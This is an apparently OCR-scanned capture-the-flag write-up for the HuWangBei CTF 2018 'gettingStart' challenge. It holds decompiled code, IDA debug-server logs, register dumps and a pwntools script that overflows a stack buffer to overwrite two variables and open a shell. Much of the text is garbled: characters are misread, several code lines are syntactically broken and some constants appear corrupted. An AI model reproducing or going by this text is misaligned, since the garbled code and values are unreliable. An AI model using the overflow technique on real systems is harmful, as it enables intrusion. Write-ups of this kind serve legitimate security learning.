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__readfsqword(@x28u);

1 = OLL;

) = OLL;

3 = oLL;

vl = @x7FFFFFFFFFFFFFFFLL;

> = 1.797693134862316e308;

setvbuf(_bss_start, 6LL, 2, OLL);

setvbuf(stdin, @LL, 2, OLL);

printf("HullangBei CTF 2018 will be getting start after %lu seconds...\n", BLL, 1.797693134862316e308);
puts("But Whether it starts depends on you.");

read(o R Arw 280l | Y-
if ( v4 != @x7FFFFFFFFFFFFFFFLL || v5 != 0.1 )
i
puts("Try again!");
¥
else
{

printf{"HulWlangBei CTF 2018 will be getting start after %g seconds...\n", &v1, v5);
system("/bin/sh");

¥
return 6LL;
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| linux_server 2017/9/14 15:08 T 714 KB

| linux_server64 2017/9/14 15:08 By i 689 KB

| mac_server 2017/9/14 15:08 peg 652 KB

| mac_server64 2017/9/14 15:08 prgle= 665 KB
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crysta untu:~/Desktops .flinux_serverﬁi
IDA Linux 64-bit remote debug server(ST) wi1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...

[1] Accepting connection from 192.168.40.1...
HuWangBei CTF 2018 will be getting start after
But Whether it starts depends on you.

[2] Accepting connection from 192.168.46.1...
HuWangBel CTF 2018 will be getting start after
Whether it starts depends on you.
Closing connection from 192.168.40.1...

Accepting connection from 192.168.40.1...
Could not establish the connection

Accepting connection from 192.168.40.1...
Could not establish the connection
Closing connection from 192.168.40.1

Accepting connection from 192.168.40.1...
Could not establish the connection
Closing connection from 192.168.40

Accepting connection from 192.168.40.1...
HuWangBei CTF 2018 will be getting start after 140090621507472 seconds.
But Whether it starts depends on you.
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O Debug application setup: linux

NOTE: all paths must be walid on the remote computer

Application |task_gettingStart_theERc V|
Input file |task_gettingStart_theERc Vl
Directory | Vl
Parameters | v|
Hostname  |192.168. 40.131

Password | linux. ip

-
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[ ] Save network settings as default
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pattern offest
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L= IDA View-RIP a Ls1 Strings window WX General registers
.text:00005591C63BBA2C mov edi, @ 5 fd RAX 7FFFFFFFFFFFFFFF &
text - AARAS591CA3IRRATT call read

.text:00005591C63BBA36 mov Fdx, [rbp-18h] e
. text:00005591C63BBA3A mov rax, 7FFFFFFFFFFFFFFFh B

.text:60005591C63BBA44 cmp rdx, rax
[-Text:00005591C63BBAA7 jnz  short loc 5501C63BBABE
.text:00005591C63BBA49 movsd  xmm@, qword ptr [rbp-16h]
.text:00005591C63BBA4E ucomisd xmm@, cs:qword 5591C63BBC10
.text:00005591C63BBAS6 jp short loc_5591C63BBASE
.text:00005591C63BBA58 ucomisd xmm@, cs:qword_5591C63BBC10
-text:00085591C63BBAGO jnz short loc_5591C63BBASE
.text:00005591C63BBA62 mov rax, [rbp-16h]
.text:00005591C63BBA66 mov [rbp-38h], rax
.text:00005591C63BBA6A movsd  xmm@, qword ptr [rbp-38h]
.text:00005591C63BBAGF lea rdi, aHuwangbeiCtf2@
.text:00005591C63BBA76 mov. eax, 1

; "HuWangBei CTF 2018 will be getting star"...

payload

RBX 0000000000000000

ibc_2.23.50:read+10
RDX 4138414144414128

RSI©0007FFEAEFAGD3@ % [stack]:00007FFEAEFAGD30
RDI 9000000000000000 '+

RBP @0007FFEAEFAGDE® W [stack]:00887FFE4EFAGDEO
RSP ©POO7FFEAEFA6D20 % [stack]:00007FFE4EFAGD20
RIP00005591C63BBA44 W sub_5591C63BB96@+E4

R8 0PBB7F6963DCA700 W debug@2:@8087F6963DCA70@
R9 000600000000004A
R16 000000000000037B
R110000000000000246
R1200085591C63BB836 &

£

Hiesemts, BAEHEpayload. XERArfERpayload i TR, AEMATUZE—TpwniAxfLh.

I
# -- coding: utf-8 --
from pwn import *

p=process(["'./task_gettingStart_ktQeERc'])
#tp=remote('49.4.78.75',30792)
gdb.attach(p)

payload='a'*{0x30-0x18)
payload+=p64(Ox7FFFFFFFFFFFFFFF)
payload+=p64({0x3FB9999999999994)

p.recvuntil("depends on you.")
p.sendline(payload)
p.recvuntil("seconds...")
p.interactive()
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